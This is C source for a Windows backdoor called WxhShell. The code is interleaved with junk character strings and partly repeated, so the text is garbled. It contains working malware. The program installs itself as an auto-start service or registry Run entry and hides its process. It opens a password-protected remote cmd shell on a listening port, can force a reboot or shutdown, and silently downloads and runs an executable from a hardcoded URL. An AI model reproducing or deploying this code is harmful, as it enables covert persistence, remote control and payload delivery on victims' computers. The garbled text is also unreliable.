rg; PROCESS_BASIC_INFORMATION pbi; 6OLp x)fG 5$;#=WAY HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NJ ];Ck if(NULL == hInst ) return 0; f.X<Mo e/*T,ZJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8 "5^mj g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B+Ox#[<75 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C_q@ixF{ B4d\4S_r% if (!NtQueryInformationProcess) return 0; NL7CeHs5 _Vl22'wl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WY3D.z-</ if(!hProcess) return 0; yWkg4 mO|YX/> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p%?m|(4f co-dq\P CloseHandle(hProcess); J=@D]I*3 ']cRSj. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g[ dI% if(hProcess==NULL) return 0; kEr;p{5 ,'0Zd(s HMODULE hMod; "T+oXK\B char procName[255]; o1B8_$aYgc unsigned long cbNeeded; hJsYKd8g vD@=V#T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L%sskV( YKtF)N;m] CloseHandle(hProcess); F-SD4a z&x3":@u< if(strstr(procName,"services")) return 1; // 以服务启动 =FfxHo1k *W&}}iL return 0; // 注册表启动 t7].33%\ } Aq~}<qkIF+ Z#nPn>,q // 主模块 [(65^Zl` int StartWxhshell(LPSTR lpCmdLine) zv>3Tc0R { :
#om6} SOCKET wsl; {@tqeu%IM BOOL val=TRUE; XNd%3rm, int port=0; ?^l{t4 struct sockaddr_in door; 08 $y1; I(2qXOG if(wscfg.ws_autoins) Install(); Y(D&JKx qzbpLV| port=atoi(lpCmdLine); :\sz`p?EC "jFRGgd79 if(port<=0) port=wscfg.ws_port; g$P <`. <!m'xOD WSADATA data; E]<Ce;Vj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l%^VBv>
2 0[SJ7k19 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S]#xG+$< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oMNgyAp^ door.sin_family = AF_INET; +?I1Og door.sin_addr.s_addr = inet_addr("127.0.0.1"); { t1|6R0 door.sin_port = htons(port); dY6A)[dAH' S>y(3E]I if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 45+w)Vf! closesocket(wsl); dH8^\s .F return 1; '1u!@=.\G } fP:26pK^ h'D-e5i if(listen(wsl,2) == INVALID_SOCKET) { n>|7 k3 closesocket(wsl); KOqp@K$ return 1; W:z?w2{VI( } ]u\K}n6[q Wxhshell(wsl); GI ~<clhf WSACleanup(); C>bd
HB7 tn@MOOPl return 0; ^qgOgu P}dhpU } vsDR@Y}k pD)$O} // 以NT服务方式启动 ESQgN+llj VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V_.n G; { <R%]9#re DWORD status = 0; /-_<RQ DWORD specificError = 0xfffffff; D6wg^'Q: {TV6eV serviceStatus.dwServiceType = SERVICE_WIN32; s2'] "wM serviceStatus.dwCurrentState = SERVICE_START_PENDING; &t0toEj serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; } eL*gy serviceStatus.dwWin32ExitCode = 0; _U%fD|t serviceStatus.dwServiceSpecificExitCode = 0; :j=/>d],% serviceStatus.dwCheckPoint = 0; }%m:^*@$9 serviceStatus.dwWaitHint = 0; gOnVN6 @jvF[wi; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !~Am1\02 if (hServiceStatusHandle==0) return; qwz_.=5E6 K;fRDE){ status = GetLastError(); UCv9G/$ if (status!=NO_ERROR) XX@@tzN { NjL^FqA[ serviceStatus.dwCurrentState = SERVICE_STOPPED; `fA|])3T serviceStatus.dwCheckPoint = 0; &-s/F` serviceStatus.dwWaitHint = 0; X?Yp=%% serviceStatus.dwWin32ExitCode = status; 1`;,_>8 serviceStatus.dwServiceSpecificExitCode = specificError; 5*he SetServiceStatus(hServiceStatusHandle, &serviceStatus); ecjjCt2S return; 9N?BWv} } '=^$;3Z l'#P:eW serviceStatus.dwCurrentState = SERVICE_RUNNING; {8YNmxF# serviceStatus.dwCheckPoint = 0; <l,Kg
'v serviceStatus.dwWaitHint = 0; 2G4OK7x if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e?"XMY } X=Th |x[zzx#
>- // 处理NT服务事件,比如:启动、停止 5m e|dvk VOID WINAPI NTServiceHandler(DWORD fdwControl) 4jyDM68i { Le*sLuxk< switch(fdwControl) E}* { @aX$} case SERVICE_CONTROL_STOP: ~SWR|[ serviceStatus.dwWin32ExitCode = 0; ^I4/{,Ev serviceStatus.dwCurrentState = SERVICE_STOPPED; %I&[: serviceStatus.dwCheckPoint = 0; ;g
M$%!& serviceStatus.dwWaitHint = 0; sdWu6?B_ { mF|7:zSo SetServiceStatus(hServiceStatusHandle, &serviceStatus); [nBdq"K } !x, ;& return; v;r!rZX case SERVICE_CONTROL_PAUSE: mnwYv..ePz serviceStatus.dwCurrentState = SERVICE_PAUSED; 6N^sUc0s break; >>'t7U## case SERVICE_CONTROL_CONTINUE: Lh"!Z serviceStatus.dwCurrentState = SERVICE_RUNNING; N0:gY]o% break; B<`'h case SERVICE_CONTROL_INTERROGATE: e{8j(` (;# break; 9w%|Nk>=> }; X9d~r_2&m< SetServiceStatus(hServiceStatusHandle, &serviceStatus); /61P`1y(J } D{4Ehr "T JDIQpO"Qji // 标准应用程序主函数 cc"L> XoK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w,'"2^Cwy { Fa!6*K\ cnrS.s= // 获取操作系统版本 BV9%| OsIsNt=GetOsVer(); f8m%T%]f GetModuleFileName(NULL,ExeFile,MAX_PATH); `(RQh@H RH=Tu6i // 从命令行安装 tc_D8Q_ if(strpbrk(lpCmdLine,"iI")) Install(); v@6TC 1M, %dyE F8) // 下载执行文件 ~;pv&s5} if(wscfg.ws_downexe) { UX9r_U5) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RnA>oKc WinExec(wscfg.ws_filenam,SW_HIDE); GO=& } L;n2,b J:{$\m' if(!OsIsNt) { D`t }V // 如果时win9x,隐藏进程并且设置为注册表启动 2!Mwui;% HideProc(); /Ww_fY StartWxhshell(lpCmdLine); QzzV+YG$(4 } d]v4`nc
else N<xf=a+j if(StartFromService()) o9l =Q // 以服务方式启动 b`4R`mo StartServiceCtrlDispatcher(DispatchTable); X CjYm else HhmC+3w.7 // 普通方式启动 &r{.b#7\/A StartWxhshell(lpCmdLine); *acN/Ca1 (Oc[j{6q return 0; R"au8f. } 2hjR'6h"Y GQNs :oRJ' ^Ms)T3dM m]1=o7 =========================================== S<hj6A rb/m;8v> ]m#.MZe 4)o_gm~6c4 :?Xd&u0){ 5 W<\J " x<0-'EF/S G%a8'3d, #include <stdio.h> {|}tp<:2 #include <string.h> _d8k[HAJ| #include <windows.h> iXN7+QO) #include <winsock2.h> [w%MECTe #include <winsvc.h> 8-N8v
*0 #include <urlmon.h> RaKfYLw 4{:W5eT! / #pragma comment (lib, "Ws2_32.lib") $II[b-X?S #pragma comment (lib, "urlmon.lib") /\%K7\ Q]';1#J\ #define MAX_USER 100 // 最大客户端连接数 H$^b.5K #define BUF_SOCK 200 // sock buffer Su<Ggv" #define KEY_BUFF 255 // 输入 buffer +TzF*Np |P_\l,f8` #define REBOOT 0 // 重启 xZ51iD$ #define SHUTDOWN 1 // 关机 [e2sUO0~r ;CU<\ #define DEF_PORT 5000 // 监听端口 *0 ;DCUv -%&_LE9ZtS #define REG_LEN 16 // 注册表键长度 -fl?G%:(!0 #define SVC_LEN 80 // NT服务名长度 FtUO gL)| &S}i)Nu6J // 从dll定义API TzXivE@mm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [<)/
c>Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )`RF2Y-A7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cxTP4\T\E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rz]0i@ehv' &^ sgR$m // wxhshell配置信息 >K{/ Jx& struct WSCFG { IT,TSs/Y int ws_port; // 监听端口 /t-m/&> char ws_passstr[REG_LEN]; // 口令 +$MNG int ws_autoins; // 安装标记, 1=yes 0=no H61,pr> char ws_regname[REG_LEN]; // 注册表键名 8oSndfV char ws_svcname[REG_LEN]; // 服务名 tylMJ$ 9*. char ws_svcdisp[SVC_LEN]; // 服务显示名 x%ZgLvdp, char ws_svcdesc[SVC_LEN]; // 服务描述信息 qll) char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,3G8afo int ws_downexe; // 下载执行标记, 1=yes 0=no EDR;" G(N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ta>:iQa char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u,:GJU (C#9/WO? }; {:&t;5qz^ DiK@>$v // default Wxhshell configuration i|X ;n struct WSCFG wscfg={DEF_PORT, 1 l'Wb2g>A "xuhuanlingzhe", q$EicH}k8 1, IqK??KSC "Wxhshell", aU]A#g
"Wxhshell", pYo]lO "WxhShell Service", $_-f}E "Wrsky Windows CmdShell Service", G9s: Wp "Please Input Your Password: ", *rO#UE2 1, UV%Al)3 "http://www.wrsky.com/wxhshell.exe", ^CUeq"GYoZ "Wxhshell.exe" N|c;Qzl }; O:fv1 >9{Gdq[gyr // 消息定义模块 1FU(j*~: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0>Y3>vwSl char *msg_ws_prompt="\n\r? for help\n\r#>"; hKw4 [wB] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4K82%P9a char *msg_ws_ext="\n\rExit."; R07Kure char *msg_ws_end="\n\rQuit."; w/r
wE char *msg_ws_boot="\n\rReboot..."; U2=l; R{ char *msg_ws_poff="\n\rShutdown..."; ,K Ebnk|i char *msg_ws_down="\n\rSave to "; Z(p kj }EmNSs`$r char *msg_ws_err="\n\rErr!"; SxLu< char *msg_ws_ok="\n\rOK!"; VLW<"7I 6\ 0c4H2RW char ExeFile[MAX_PATH]; _tZT int nUser = 0; WL4{_X HANDLE handles[MAX_USER]; f&glY`s# int OsIsNt; `;-K/)/x 7aVQp3< SERVICE_STATUS serviceStatus; 1hj']#vBu SERVICE_STATUS_HANDLE hServiceStatusHandle; zhH-lMNj- 1u&}Lq( // 函数声明 &MnS(
82L int Install(void); >3V{I'^^- int Uninstall(void); $:V'+s4o int DownloadFile(char *sURL, SOCKET wsh); ^)Xl7d|m+ int Boot(int flag); ~:r:?PwWG void HideProc(void); * 8n0 int GetOsVer(void); EnXNTat}) int Wxhshell(SOCKET wsl); Jrd:6Z void TalkWithClient(void *cs); {-IH?!&v int CmdShell(SOCKET sock); 5BCHWX*y int StartFromService(void); Hc1S:RW int StartWxhshell(LPSTR lpCmdLine); :T(3!}4 H8+7rM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /t`s.!k VOID WINAPI NTServiceHandler( DWORD fdwControl ); dieGLA<5_X lz.ta!6 // 数据结构和表定义 MXsSF|- SERVICE_TABLE_ENTRY DispatchTable[] = N;ed_! { tW;1 {wscfg.ws_svcname, NTServiceMain}, M=hxOta {NULL, NULL} ;
F% 3b47 }; nZe2bai /k3v\Jq{ // 自我安装 F$P8"q+ int Install(void) ]6NpHDip1 { 1w}%>e-S char svExeFile[MAX_PATH]; eO#Kn'5 HKEY key; 6m_
fEkS[ strcpy(svExeFile,ExeFile); ].=&^0cg s86Ij>VLf // 如果是win9x系统,修改注册表设为自启动 &U%AVD[ if(!OsIsNt) { ?s[ kUv+= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uc]]zI6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -ju&"L B RegCloseKey(key); 1e.V%!Xk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m,KG}KX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XVcY?_AS# RegCloseKey(key); (LzVWz m return 0; 4 {JoeIRyz } :/
,h)h)| } ehB (? } >ENZ['F else { ssGp:{]v/ e ?FjN 9 // 如果是NT以上系统,安装为系统服务 33dHTV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BH"f\oc if (schSCManager!=0) x5[wF6A { ZYr6Wn SC_HANDLE schService = CreateService k^B<t' ( D+G?:mR schSCManager, $'#hCs wscfg.ws_svcname, OKs1irt5 wscfg.ws_svcdisp, *;7~aM SERVICE_ALL_ACCESS, ^]}+s( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *#p}>\Y{ SERVICE_AUTO_START, T.\=R SERVICE_ERROR_NORMAL, ;oW#>!HrY svExeFile, EaaLN<i@0 NULL, : p# 5nYi NULL, ' jAX&7G` NULL, qKu/~0a/ NULL, JB.f7- NULL M?m Pi 3 ); .YYfba#{
if (schService!=0) ,@1rP 55 { ZoJ_I
>uv CloseServiceHandle(schService); J:g4ES-/ CloseServiceHandle(schSCManager); ?`ETlFtD4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .|Unq`ll strcat(svExeFile,wscfg.ws_svcname); 6v(?Lr`D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1vw[{.wC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z2'3P{#s RegCloseKey(key); C sXV0 return 0; 9yla &XTD } 8$)xxV_zp } ;7,>2VTm CloseServiceHandle(schSCManager); f@Oi$9CZn } !R@v\Eu } (55k70>i3 G)~/$EF,_ return 1; a`/\0~ } >Pa&f20Hp h=:Ls]ZU // 自我卸载 FfEP@$ int Uninstall(void) CshYUr - { [_kis HKEY key; NVyel*QE v+\&8)W= if(!OsIsNt) { ->"Z1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `^_c&y K RegDeleteValue(key,wscfg.ws_regname); 2z*EamF RegCloseKey(key); #6okd*^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f8ucJ.{" RegDeleteValue(key,wscfg.ws_regname); >#pZ`oPEAv RegCloseKey(key); FYe#x]ue return 0; 05
56#U&> } R*PR21g }
mE1m } j >pv@D else { )?d(7d-l Qdt4h$~V" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3+:F2sjt if (schSCManager!=0) s>pM+PoGYd { ^HiI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y}aKL(AaU if (schService!=0) /i:c!l9 { a ][t#` if(DeleteService(schService)!=0) { !i4/#H CloseServiceHandle(schService); Lp1\vfU<+ CloseServiceHandle(schSCManager); I(rZ(|^A return 0; u9c^:Op } zDK"Y{ CloseServiceHandle(schService); GpwoS1#)0| } /Py1Q CloseServiceHandle(schSCManager); /7[U J' } >~+qU&'2 } YB`1S ]7|Zs]6 return 1; cmcR@zv } I
0vJJP# 8cKP_Ec // 从指定url下载文件 n?a?U: int DownloadFile(char *sURL, SOCKET wsh) >^!)G^B { 1@}s: HRESULT hr; *'l|ws char seps[]= "/"; f3;.+hJ]) char *token; bz'#YM char *file; *@+E82D char myURL[MAX_PATH]; UiE 1TD{ char myFILE[MAX_PATH]; Bjc<d,]
Q0j4c strcpy(myURL,sURL); Crg@05Z token=strtok(myURL,seps); vRI0fDu while(token!=NULL) !pJd^|4A] { ?"@`SEdnU2 file=token; ]=Tle&yM+T token=strtok(NULL,seps); aGz$A15# } tS[@3h |#i|BVnoE GetCurrentDirectory(MAX_PATH,myFILE); "h\ (a< strcat(myFILE, "\\"); r,8~qHbOT strcat(myFILE, file); 8~!9bg6C send(wsh,myFILE,strlen(myFILE),0); `zoC++hx send(wsh,"...",3,0); Z%4w{T+[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BJ*8mKi h if(hr==S_OK) 1`q>*S]( return 0; +3d.JQoKl else OAiSE` return 1; v$d^>+Y# `z1E]{A } !+o`,K TYp 96#aGh> // 系统电源模块 p|0ZP6!| int Boot(int flag) )<K3Fz
Bs { JqTR4[`Z\ HANDLE hToken; Dkyw3*LCn% TOKEN_PRIVILEGES tkp; ;N?raz2mEi @3v[L<S{ if(OsIsNt) { EvGKcu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D/oO@;`'c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aGs\zCAP tkp.PrivilegeCount = 1; (k$KUP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o,yZ1" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /D~MHO{ if(flag==REBOOT) { 0\KDa$'1k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &6O0h0Vy return 0; \Y$@$) } o |"iW" + else { 2t}^8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [~5<['G return 0; t2Y2v2 J } I&Z+FL&@f } d>gN3}tT else { .|c=]_{ if(flag==REBOOT) { [,TK"
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H$)__V5I,q return 0; "QLp%B,A } #>_5PdO else { ?Zh,W(7W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M
$\!SXL return 0; 79d<,q;uR } Sau?Y } [J\! 2\Oo g!I0UAm return 1; <tI_u ~P } 2q}lSa7r QdK
PzjA // win9x进程隐藏模块 )\m%&EXG{ void HideProc(void) La8 D%N { $*qQ/hi <!a%GI HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _%@ri]u{ov if ( hKernel != NULL ) |y DaFv { EHH+)mlo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E5Zxp3 N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V]W-**j< FreeLibrary(hKernel); l|L
]==M } VpyqVbx1 EXizRL-9o return; uGY(` } *T-v^ndJh vT;~\,M // 获取操作系统版本 Cm%xI&Y int GetOsVer(void) 7*(K%e"U { 9D{p^hd OSVERSIONINFO winfo; ;.I,R NM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lnWscb3t GetVersionEx(&winfo); =y]FcxF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a"!r]=r return 1; +L-(Lz[p else !)HB+yr return 0; a~wlD.P } 0NMmN_Lr Jl-:@[; // 客户端句柄模块 ,r,$x4* int Wxhshell(SOCKET wsl) ;dquld+q { }~!KjFbs SOCKET wsh; q{2
+Inf#: struct sockaddr_in client; qt=nN-AC( DWORD myID; b0aV?A}th EncJB while(nUser<MAX_USER) [?S-on. { Tu7}*vsR
int nSize=sizeof(client); .q5WK#^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eeCrHt4; if(wsh==INVALID_SOCKET) return 1; fYiof]v@_m :89AYqT" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rd,5&X$ if(handles[nUser]==0) KOit7+Q closesocket(wsh); b>'y[P! else _qjkiKm?1F nUser++; UUR` m } 1+9}Xnxb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =@s {H + DpvMY94Qh return 0; %3es+A@ } J?oEzf;M 8Uoqj=5F // 关闭 socket 3}nkTZ G void CloseIt(SOCKET wsh) O>/&-Wk= { [w?v !8l closesocket(wsh); uU!}/mbo nUser--; }]+k ExitThread(0); NflRNu:- } 9PWqoz2c 2SJ|$VsLaE // 客户端请求句柄 JB9s#` void TalkWithClient(void *cs) nD}CQ_C { pg/SYEvsV cb`ik)=K% SOCKET wsh=(SOCKET)cs; 9k3RC}dEr char pwd[SVC_LEN]; KCi0v char cmd[KEY_BUFF]; f!13Ob<8r char chr[1]; P*3PDa@ int i,j; f;]C8/ W j)Y68fKK while (nUser < MAX_USER) { :0vKt 6>Sp 8~:s$~&r if(wscfg.ws_passstr) { 0jMS!"k
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zTW)SX_O //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qkx}A7sK //ZeroMemory(pwd,KEY_BUFF); bxvpj i=0; &m{vLw while(i<SVC_LEN) { ?xYoCn}Z 8w9?n3z=} // 设置超时 O%m>4OdH fd_set FdRead; 3\H0Nkubts struct timeval TimeOut; OHK]=DH:M FD_ZERO(&FdRead); R y"N_Fb FD_SET(wsh,&FdRead); 905Lk>rB TimeOut.tv_sec=8; >m4HCs> TimeOut.tv_usec=0; l]F)]>AE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YTV|]xpR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %%^by 3$h yV{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3R`eddenF pwd=chr[0]; y /OPN<=* if(chr[0]==0xd || chr[0]==0xa) { }=
(|3\v pwd=0; \>)#cEX5 break; 1MxO((k } K%(DRkj) i++; w?"s6L3 } Tu7sA.73k *7^w}v+. // 如果是非法用户,关闭 socket U{Moyj if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4j}uVGi{e } ?vV&tqnx% mE"},ksg send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |\J! x|xy send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xv~EwT) 0`
UrB: while(1) { DW0UcLO t+2,;G ZeroMemory(cmd,KEY_BUFF); 1LonYAHF
iU "{8K, // 自动支持客户端 telnet标准 %-#rzeaW j=0; f ]DO2r while(j<KEY_BUFF) { $uCY\xqZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nj$h/P cmd[j]=chr[0]; >NAg*1 if(chr[0]==0xa || chr[0]==0xd) { /4Jm]" cmd[j]=0; N2\{h(*u break; }o2e&.$4d } &ngG_y8}& j++; M}qrF~ } d
D;r35h= :y3e-lr // 下载文件 o 76QQ+hP if(strstr(cmd,"http://")) { OE5JA8/H send(wsh,msg_ws_down,strlen(msg_ws_down),0); [hXnw'Im/ if(DownloadFile(cmd,wsh)) )=6o, send(wsh,msg_ws_err,strlen(msg_ws_err),0); #({ 9M else Gu5%P ou send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z{rD4S@^ } Y(Q!OeC else { WzdE XcY hVdPO switch(cmd[0]) { 3FE=?Q `;v>fTcy // 帮助 J6J|&Z~UT, case '?': { <v[UYvZvY send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ncsk~=[ break; UQ.DKUg } :Kx6|83 // 安装 >Z!H9]f( case 'i': { 2sOetmWE7 if(Install()) g"|Z1iy|9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); V
jZx{1kCR else 8bW,.to(?x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9t o2V break; }4wIfI83K, } :Mzkm^7B // 卸载 t7qzAr case 'r': { *;X,yEK[ if(Uninstall()) 8|H^u6+yz send(wsh,msg_ws_err,strlen(msg_ws_err),0); kbKGGn4u else 8w L%(p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 rA'd break; {aVL3QU } oC >l|?h, // 显示 wxhshell 所在路径 pjrzoMF case 'p': { jgd^{! char svExeFile[MAX_PATH]; 2kV{|`1 strcpy(svExeFile,"\n\r"); ,n\'dMNii strcat(svExeFile,ExeFile); j
hr pS send(wsh,svExeFile,strlen(svExeFile),0); 0="U'|J_ break; cH{[\F"Eb } wxIWh>pZa // 重启 +RN|ZG& case 'b': { ddG5g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VMgO1-F if(Boot(REBOOT)) aOK,Mm:iO send(wsh,msg_ws_err,strlen(msg_ws_err),0); E6_.Q `!ll else { Dvz}sQZ closesocket(wsh); d|RDx;rl8 ExitThread(0); ,G%?}TfC) } -:NFF' break; bZ_vb? n } 5dem~YY5 // 关机 VFjNrngl case 'd': { ZZ@1l send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L"ob))GF if(Boot(SHUTDOWN)) ,V{Cy`bi send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;+Uc}= else { ua
HB\Uc closesocket(wsh); *hZ{> ExitThread(0); R@Bnrk } V/CZcMY_ break; SRBQ"X[M2 } `8<h aU // 获取shell Kta7xtu case 's': { 4M{]YZMw8 CmdShell(wsh); fkWTO"f- closesocket(wsh); @l^BW*BCo ExitThread(0); 6O#
xV:Uc< break; qGH\3g- } )7TuV" // 退出 $ ";NS6 1 case 'x': { G@I/Dy send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :bBMy\(u CloseIt(wsh); SXx;-Ws break; 3Z-N*bhC } $S_G:}tna // 离开 >cM}M =4s case 'q': { ewD=(y r send(wsh,msg_ws_end,strlen(msg_ws_end),0); -lNT"9 closesocket(wsh); cs6I
K6wo WSACleanup(); Hb|y`O k exit(1); zv[pfD7a break; +4--Dl? }
MTUJsH\ } /By`FW Y } dp'xd>m +Oa+G.;)o4 // 提示信息 NP< {WL# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l7M![Ur } 4!^flKZQ } oNK-^N?-T T3#KuiwU9 return; "{Jq6):mp } ZXL pR*)\@ma // shell模块句柄 Tyk\l>S int CmdShell(SOCKET sock) ]<B@g($
{ * M,'F^E2 STARTUPINFO si; 2,.;Mdl ZeroMemory(&si,sizeof(si)); !w #x@6yq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \]gUX- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wjnQK PROCESS_INFORMATION ProcessInfo; LYvjqNC&4 char cmdline[]="cmd"; !3 j@gi2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yRGv {G[59 return 0; 'X@>U6s } IQya{e @h$4M t7N // 自身启动模式 F4`5z)<* int StartFromService(void) ]f<H? { ~w9.}
typedef struct #HF;yAc { #mK?K DWORD ExitStatus; hfQx$cv6 DWORD PebBaseAddress; \yNe5 DWORD AffinityMask; 4(O;lVT} DWORD BasePriority; $Z!7@_Ys ULONG UniqueProcessId; L4?)N&V ULONG InheritedFromUniqueProcessId; 0z1UF{{ } PROCESS_BASIC_INFORMATION; :*0l*j =SqI#v PROCNTQSIP NtQueryInformationProcess; HJ+I;OJ tP;^;nw static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f~{@(g&Gl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y%4G[Dz 1p |}=R HANDLE hProcess; vbT,!
cEm PROCESS_BASIC_INFORMATION pbi; ^:F |2 U9ZWSDs HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X5`#da if(NULL == hInst ) return 0; 9u&q{I _J+p[=[L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q $5U5hb g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
~DJ>)pp NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6}aH>(3!A d5z?QI if (!NtQueryInformationProcess) return 0; X'W8 mqk eO?.8OM-a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5C&]YT3) if(!hProcess) return 0; A0>u9Bn"Qw aO'lk if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JE$aYs<(TF 9=wt9` ? CloseHandle(hProcess); _xVtB1@kLM 1s@%q
